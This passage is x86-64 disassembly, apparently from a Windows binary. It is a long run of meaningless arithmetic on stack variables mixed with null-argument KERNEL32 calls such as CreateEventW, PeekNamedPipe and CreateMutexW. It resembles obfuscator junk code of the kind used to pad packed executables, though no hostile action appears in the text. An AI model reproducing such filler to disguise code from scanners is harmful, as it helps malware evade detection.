mov rax, qword [rsp + 0x79d8]
movzx eax, byte [rax]
mov byte [rsp + 0x229], al
mov rax, qword [rsp + 0x5b60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2140], eax
mov rax, qword [rsp + 0x4348]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9ec]
and eax, ecx
mov word [rsp + 0xf48], ax
movzx eax, word [rsp + 0xcfc]
movzx ecx, word [rsp + 0x4e4]
sar eax, cl
mov rcx, qword [0x14018c7a8]
mov word [rcx], ax
lea rax, [rsp + 0x5bc8]
mov qword [rsp + 0x8bc0], rax
movzx eax, word [rsp + 0x9e8]
mov rcx, qword [rsp + 0x4818]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd28], ax
lea rax, [rsp + 0x229c]
mov qword [rsp + 0x8bc8], rax
movzx eax, byte [rsp + 0x1f1]
mov rcx, qword [rsp + 0x7268]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x71c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x30c8]
mov rcx, qword [rsp + 0x82e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ca8]
mov qword [rcx], rax
mov rax, qword [0x14018c020]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc9]
and eax, ecx
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0x5938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2170]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c04], eax
lea rax, [rsp + 0xf90]
mov qword [rsp + 0x8bd0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x8bd8], rax
lea rax, [rsp + 0x5d4]
mov qword [0x14018ca00], rax
mov rax, qword [rsp + 0x57d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4268]
mov qword [rsp + 0x8be0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8be0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x76d0]
mov qword [rcx], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rax, [rsp + 0x2c10]
mov qword [rsp + 0x8be8], rax
movsx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0x4020]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xe00], ax
movzx eax, word [rsp + 0xda8]
movzx ecx, word [rsp + 0xd68]
or eax, ecx
mov rcx, qword [rsp + 0x7358]
mov word [rcx], ax
mov eax, dword [rsp + 0x2040]
mov dword [rsp + 0x2300], eax
mov rax, qword [rsp + 0x78a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10a]
sar eax, cl
mov rcx, qword [rsp + 0x8740]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2248], eax
mov rax, qword [rsp + 0x3c98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x39d8], rax
mov rax, qword [rsp + 0x5538]
mov rcx, qword [0x14018c290]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8460]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc1c]
mov rcx, qword [rsp + 0x4490]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14018c420], ax
movzx eax, word [rsp + 0x4d4]
mov rcx, qword [rsp + 0x3e98]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5b88]
mov word [rcx], ax
mov rax, qword [rsp + 0x7870]
mov eax, dword [rax]
mov dword [rsp + 0x2304], eax
mov rcx, qword [rsp + 0x4d70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x8e]
mov rcx, qword [rsp + 0x81d0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x15d], al
lea rax, [rsp + 0x2e58]
mov qword [rsp + 0x8bf0], rax
mov eax, dword [0x14018c570]
mov ecx, dword [rsp + 0x2074]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x22bc], eax
mov rax, qword [rsp + 0x6a58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7db0], rax
lea rax, [rsp + 0x19f]
mov qword [rsp + 0x8bf8], rax
movsx eax, word [rsp + 0x7f4]
movsx ecx, word [rsp + 0xf50]
sub eax, ecx
mov rcx, qword [rsp + 0x80f0]
mov word [rcx], ax
lea rax, [rsp + 0x3cc]
mov qword [0x14018ca08], rax
lea rax, [rsp + 0x2f58]
mov qword [rsp + 0x8c00], rax
mov rax, qword [rsp + 0x4b78]
movzx eax, word [rax]
mov rcx, qword [0x14018c370]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4b40]
mov word [rcx], ax
mov rax, qword [rsp + 0x5660]
movzx eax, word [rax]
mov word [rsp + 0x100c], ax
mov rax, qword [rsp + 0x5870]
mov rcx, qword [rsp + 0x8a98]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x89e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c38]
mov ecx, dword [rsp + 0x1e7c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x20bc], eax
movsx eax, byte [rsp + 0x1b9]
movsx ecx, byte [rsp + 0x153]
sar eax, cl
mov byte [rsp + 0x7b], al
mov rax, qword [rsp + 0x4cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2bb0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
lea rax, [rsp + 0xef8]
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x61f0]
mov rcx, qword [rsp + 0x6d00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14018c168], rax
mov rax, qword [rsp + 0x8290]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5240]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x44e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4520]
mov ecx, dword [rsp + 0x21e4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7620]
mov dword [rcx], eax
lea rax, [rsp + 0x4f8]
mov qword [rsp + 0x8c10], rax
mov rax, qword [rsp + 0x79f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x50c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x910], ax
lea rax, [rsp + 0xbb]
mov qword [rsp + 0x8c18], rax
mov rax, qword [rsp + 0x6958]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5938]
mov qword [rsp + 0x8c20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c20]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1b5c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1fb0], eax
mov rax, qword [0x14018ad80]
mov rcx, qword [rsp + 0x7c58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2dd8], rax
movzx eax, word [rsp + 0x3f8]
mov word [rsp + 0x1010], ax
movzx eax, word [rsp + 0xd60]
movzx ecx, word [rsp + 0xec4]
and eax, ecx
mov word [0x14018ae5c], ax
mov rax, qword [rsp + 0x4698]
mov rcx, qword [rsp + 0x2fc8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6f10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5058]
movzx ecx, al
mov rax, qword [rsp + 0x52d0]
shl rax, cl
mov qword [rsp + 0x3860], rax
mov rax, qword [rsp + 0x5ca0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7fa8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8438]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x380]
xor eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov word [rcx], ax
lea rax, [rsp + 0x83d8]
mov qword [rsp + 0x8c28], rax
movsx eax, byte [rsp + 0x1ef]
mov rcx, qword [0x14018c650]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x44a0]
mov byte [rcx], al
lea rax, [rsp + 0x22a0]
mov qword [rsp + 0x8c30], rax
mov eax, dword [rsp + 0x22f0]
mov ecx, dword [rsp + 0x1ec0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
lea rax, [rsp + 0x6b]
mov qword [rsp + 0x8c38], rax
movsx eax, word [0x14018c030]
movsx ecx, word [rsp + 0xe20]
sub eax, ecx
mov word [0x14018c600], ax
mov rax, qword [rsp + 0x67c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7960]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7730]
mov word [rcx], ax
movzx eax, word [rsp + 0xe34]
movzx ecx, word [rsp + 0x720]
add eax, ecx
mov rcx, qword [rsp + 0x6478]
mov word [rcx], ax
mov rax, qword [rsp + 0x7e08]
mov rax, qword [rax]
mov qword [rsp + 0x8c40], rax
mov rax, qword [rsp + 0x83e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3918]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6cf0], rax
lea rax, [rsp + 0x228c]
mov qword [rsp + 0x8c48], rax
mov rax, qword [rsp + 0x4168]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8968]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8058]
mov byte [rcx], al
mov rax, qword [rsp + 0x6f20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5760]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6b28]
mov word [rcx], ax
lea rax, [rsp + 0x514]
mov qword [rsp + 0x8c50], rax
mov rax, qword [rsp + 0x81b0]
mov rax, qword [rax]
mov qword [0x14018ca10], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x8c58], rax
mov rax, qword [rsp + 0x4078]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4f90]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4a08]
mov word [rcx], ax
lea rax, [rsp + 0x7778]
mov qword [rsp + 0x8c60], rax
mov rax, qword [rsp + 0x6620]
mov rax, qword [rax]
mov rcx, qword [0x14018adc8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20cc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1cd4], eax
lea rax, [rsp + 0x37b0]
mov qword [rsp + 0x8c68], rax
movzx eax, byte [0x14018acda]
movzx ecx, byte [rsp + 0x1ff]
shl eax, cl
mov rcx, qword [rsp + 0x6d58]
mov byte [rcx], al
mov rax, qword [rsp + 0x6978]
mov eax, dword [rax]
mov dword [rsp + 0x2308], eax
movsx eax, byte [rsp + 0x21b]
movsx ecx, byte [rsp + 0xbd]
or eax, ecx
mov rcx, qword [rsp + 0x64a0]
mov byte [rcx], al
movsx eax, word [rsp + 0xd0c]
movsx ecx, word [rsp + 0xa88]
sub eax, ecx
mov rcx, qword [0x14018c830]
mov word [rcx], ax
movsx eax, word [rsp + 0xe44]
mov rcx, qword [rsp + 0x86d0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x798], ax
mov rcx, qword [rsp + 0x3aa0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0xc54]
mov rcx, qword [rsp + 0x8ac8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6608]
mov word [rcx], ax
movzx ecx, word [rsp + 0xdf0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf08], ax
movzx eax, word [rsp + 0xd64]
mov rcx, qword [rsp + 0x6458]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5d28]
mov word [rcx], ax
lea rax, [rsp + 0x5a60]
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0x8b88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7510]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6560]
mov byte [rcx], al
lea rcx, [rsp + 0x15878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x20a4]
mov qword [rsp + 0x8c78], rax
mov rax, qword [rsp + 0x5368]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7048]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6b28]
mov word [rcx], ax
mov rax, qword [0x14018c280]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x73c8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5630]
mov word [rcx], ax
lea rax, [rsp + 0x3850]
mov qword [0x14018ca18], rax
mov rax, qword [rsp + 0x2d90]
mov qword [rsp + 0x8c80], rax
mov rax, qword [rsp + 0x51d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6448]
sar rax, cl
mov qword [rsp + 0x85a0], rax
lea rax, [rsp + 0x63d0]
mov qword [rsp + 0x8c88], rax
mov rax, qword [rsp + 0x5788]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x40d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf34], ax
mov eax, dword [rsp + 0x2100]
movzx ecx, al
mov eax, dword [rsp + 0x22d8]
shl eax, cl
mov rcx, qword [rsp + 0x6530]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3e58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ee]
or eax, ecx
mov byte [rsp + 0x111], al
mov rax, qword [rsp + 0x6690]
mov rcx, qword [rsp + 0x6580]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1c3c], eax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x8c90], rax
mov rax, qword [rsp + 0x4cb8]
mov rcx, qword [rsp + 0x35e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018c368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5d98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3f8]
add eax, ecx
mov rcx, qword [rsp + 0x6fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1008]
sar eax, cl
mov word [rsp + 0x580], ax
movzx eax, word [rsp + 0xf34]
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0x39c0]
mov rcx, qword [rsp + 0x3920]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8a00]
mov qword [rcx], rax
lea rax, [rsp + 0x208]
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x7f20]
mov ecx, dword [rsp + 0x1cdc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8190]
mov qword [rsp + 0x8ca0], rax
mov rax, qword [0x14018c568]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x768]
and eax, ecx
mov rcx, qword [rsp + 0x68b0]
mov word [rcx], ax
lea rax, [rsp + 0xad4]
mov qword [0x14018ca20], rax
mov rax, qword [0x14018adc0]
mov rcx, qword [rsp + 0x3200]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x72b8]
mov qword [rcx], rax
lea rax, [rsp + 0xf30]
mov qword [rsp + 0x8ca8], rax
mov eax, dword [rsp + 0x2108]
mov ecx, dword [rsp + 0x2220]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4478]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x8cb0], rax
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x8cb8], rax
mov rax, qword [rsp + 0x6fd8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3a08]
shr rax, cl
mov rcx, qword [rsp + 0x6038]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1c0]
movsx ecx, byte [rsp + 0x19a]
xor eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov byte [rcx], al
mov rax, qword [rsp + 0x77a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x22e4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bf8], eax
movsx eax, word [rsp + 0xa1c]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7958]
mov word [rcx], ax
mov rax, qword [rsp + 0x7f60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7e80]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018bf78]
mov word [rcx], ax
mov rax, qword [rsp + 0x3200]
mov qword [rsp + 0x8cc0], rax
mov rax, qword [rsp + 0x45d0]
mov rcx, qword [rsp + 0x54c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3100], rax
movsx eax, word [rsp + 0x588]
mov rcx, qword [0x14018c1f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4980]
mov word [rcx], ax
lea rax, [rsp + 0xdc8]
mov qword [rsp + 0x8cc8], rax
mov eax, dword [rsp + 0x1cd4]
mov rcx, qword [rsp + 0x5eb0]
mov qword [rsp + 0x8cd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8cd0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x6040]
mov dword [rcx], eax
lea rax, [rsp + 0x7db0]
mov qword [rsp + 0x8cd8], rax
movsx eax, byte [0x14018bdc6]
mov rcx, qword [rsp + 0x7a50]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xea], al
mov rax, qword [rsp + 0x7ff0]
mov rcx, qword [rsp + 0x2ec0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6230]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf18]
add eax, ecx
mov rcx, qword [0x14018c348]
mov word [rcx], ax
movzx eax, word [rsp + 0xfe4]
mov rcx, qword [rsp + 0x8b28]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa40], ax
movzx eax, byte [rsp + 0x1d1]
mov rcx, qword [rsp + 0x6bf8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7fd0]
mov byte [rcx], al
lea rax, [rsp + 0x1c54]
mov qword [rsp + 0x8ce0], rax
mov rax, qword [rsp + 0x6f88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2e58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d0], rax
lea rax, [rsp + 0x6d48]
mov qword [rsp + 0x8ce8], rax
mov rax, qword [rsp + 0x6f70]
mov rcx, qword [rsp + 0x6a28]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x76a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6438]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x7f80]
movzx eax, word [rax]
mov word [rsp + 0x1018], ax
mov r9d, 0x22c9
xor r8d, r8d
lea rdx, [rsp + 0x55a8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2160], eax
lea rax, [rsp + 0xdd0]
mov qword [0x14018ca28], rax
mov rax, qword [rsp + 0x6ad8]
mov rcx, qword [rsp + 0x8cc0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
lea rax, [rsp + 0x558]
mov qword [rsp + 0x8cf0], rax
mov rax, qword [rsp + 0x88d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x658]
sar eax, cl
mov word [rsp + 0x768], ax
mov rax, qword [rsp + 0x7ed0]
mov rcx, qword [rsp + 0x4690]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x85a0], rax
mov rax, qword [rsp + 0x43f8]
mov rcx, qword [rsp + 0x7f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1cc0], eax
mov rax, qword [0x14018bf70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f0]
sub eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov byte [rcx], al
mov rax, qword [rsp + 0x4628]
mov rax, qword [rax]
mov qword [rsp + 0x8cf8], rax
mov rax, qword [rsp + 0x8248]
movzx eax, word [rax]
movzx ecx, word [0x14018acf8]
and eax, ecx
mov rcx, qword [rsp + 0x7340]
mov word [rcx], ax
mov rax, qword [rsp + 0x3280]
mov rcx, qword [rsp + 0x5a18]
mov qword [rsp + 0x8d00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d00]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14018ae60], rax
mov rax, qword [rsp + 0x8370]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7eb0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x177], al
mov eax, dword [rsp + 0x20e0]
mov dword [rsp + 0x230c], eax
movsx eax, word [rsp + 0xee0]
mov rcx, qword [rsp + 0x7da8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x77b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdc8]
sub eax, ecx
mov word [rsp + 0x6e8], ax
mov rax, qword [rsp + 0x5f60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3bd8]
mov qword [rsp + 0x8d08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
lea rax, [rsp + 0x1d9]
mov qword [rsp + 0x8d10], rax
mov rax, qword [rsp + 0x7368]
mov rcx, qword [rsp + 0x65c8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6b00]
mov qword [rcx], rax
movsx eax, word [rsp + 0xe90]
mov rcx, qword [rsp + 0x5a88]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4058]
mov word [rcx], ax
movzx eax, word [rsp + 0x5d4]
mov rcx, qword [rsp + 0x7378]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14018ad20], ax
mov rax, qword [rsp + 0x7a58]
mov rax, qword [rax]
mov qword [rsp + 0x8d18], rax
mov rax, qword [0x14018c3b0]
mov rcx, qword [rsp + 0x2b60]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7798]
mov qword [rcx], rax
lea rax, [rsp + 0x7030]
mov qword [rsp + 0x8d20], rax
mov rax, qword [rsp + 0x5a78]
movsx eax, word [rax]
mov rcx, qword [0x14018c8d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8908]
mov word [rcx], ax
movsx eax, byte [rsp + 0x208]
mov rcx, qword [rsp + 0x7d20]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1c9], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x226c], eax
lea rax, [rsp + 0x7660]
mov qword [rsp + 0x8d28], rax
mov rax, qword [rsp + 0x6690]
mov rcx, qword [0x14018c188]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3ee8]
mov dword [rcx], eax
lea rax, [rsp + 0x1fc0]
mov qword [rsp + 0x8d30], rax
movzx eax, byte [rsp + 0xc1]
mov rcx, qword [rsp + 0x4c88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7658]
mov byte [rcx], al
movsx eax, word [rsp + 0xf4c]
movsx ecx, word [0x14018ae30]
sar eax, cl
mov rcx, qword [0x14018bf90]
mov word [rcx], ax
movzx eax, word [rsp + 0x4c8]
mov rcx, qword [rsp + 0x7b48]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5db8]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x8d38], rax
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x8d40], rax
mov rax, qword [rsp + 0x6908]
mov rcx, qword [rsp + 0x2be0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4ca8]
mov qword [rcx], rax
lea rax, [rsp + 0x2228]
mov qword [rsp + 0x8d48], rax
movsx eax, byte [rsp + 0x20c]
mov rcx, qword [rsp + 0x5790]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x70b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6038]
mov rax, qword [rax]
mov rcx, qword [0x14018c628]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x45e0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x7d0], ax
mov rax, qword [rsp + 0x7930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x478]
sar eax, cl
mov rcx, qword [rsp + 0x4a30]
mov word [rcx], ax
mov rax, qword [rsp + 0x7570]
mov rax, qword [rax]
mov qword [0x14018ca30], rax
movzx eax, word [rsp + 0xdc8]
mov word [rsp + 0x101c], ax
mov rax, qword [rsp + 0x5be8]
mov rcx, qword [rsp + 0x2d90]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5d78]
mov qword [rcx], rax
lea rax, [0x14018c788]
mov qword [rsp + 0x8d50], rax
movsx eax, byte [rsp + 0x187]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x186], al
mov eax, dword [rsp + 0x217c]
mov ecx, dword [rsp + 0x1bc8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8280]
mov dword [rcx], eax
lea rax, [rsp + 0x1f10]
mov qword [rsp + 0x8d58], rax
mov rax, qword [rsp + 0x42e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14a]
add eax, ecx
mov rcx, qword [rsp + 0x4810]
mov byte [rcx], al
lea rax, [rsp + 0x4e38]
mov qword [rsp + 0x8d60], rax
movsx eax, word [0x14018ad64]
movsx ecx, word [rsp + 0x7d0]
and eax, ecx
mov rcx, qword [0x14018c538]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1010]
and eax, ecx
mov rcx, qword [rsp + 0x58b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x83b0]
movzx eax, word [rax]
mov rcx, qword [0x14018be18]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x764], ax
lea rax, [rsp + 0xfb4]
mov qword [rsp + 0x8d68], rax
mov rax, qword [rsp + 0x6538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x35c8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
lea rax, [rsp + 0x1f3]
mov qword [rsp + 0x8d70], rax
mov rax, qword [rsp + 0x50e0]
mov ecx, dword [rsp + 0x1b28]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4260]
mov dword [rcx], eax
movsx eax, word [rsp + 0x974]
mov rcx, qword [rsp + 0x7da8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7768]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e10]
movzx eax, word [rax]
mov word [rsp + 0x1020], ax
lea rax, [0x14018c430]
mov qword [0x14018ca38], rax
mov rax, qword [rsp + 0x2ec0]
movzx ecx, al
mov rax, qword [rsp + 0x2b18]
shl rax, cl
mov qword [rsp + 0x45c0], rax
lea rcx, [rsp + 0x15848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x8d78], rax
mov rax, qword [0x14018c7e0]
mov rcx, qword [rsp + 0x6ea0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6960]
mov qword [rcx], rax
lea rax, [rsp + 0xc54]
mov qword [rsp + 0x8d80], rax
mov eax, dword [rsp + 0x1de0]
mov ecx, dword [rsp + 0x2064]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x86a8]
mov dword [rcx], eax
